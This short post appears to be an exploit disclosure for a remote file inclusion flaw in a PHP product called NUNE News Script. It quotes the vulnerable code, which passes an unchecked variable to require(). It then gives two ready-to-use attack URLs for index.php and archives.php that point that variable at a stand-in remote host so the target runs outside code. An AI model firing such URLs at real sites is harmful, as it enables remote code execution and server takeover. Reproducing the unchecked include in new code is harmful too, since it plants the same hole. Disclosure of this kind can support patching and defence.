NUNE News Script Remote File Include

Code:

if (isset($custom_admin_path))
    $special_admin_path = $custom_admin_path;

else
    $special_admin_path = "news/admin";

require("$special_admin_path/config/nune.conf.php");

www.target.com/[script]/index.php?custom_admin_path=http://evilscript?
او 

www.target.com/[script]/archives.php?custom_admin_path=http://evilscript?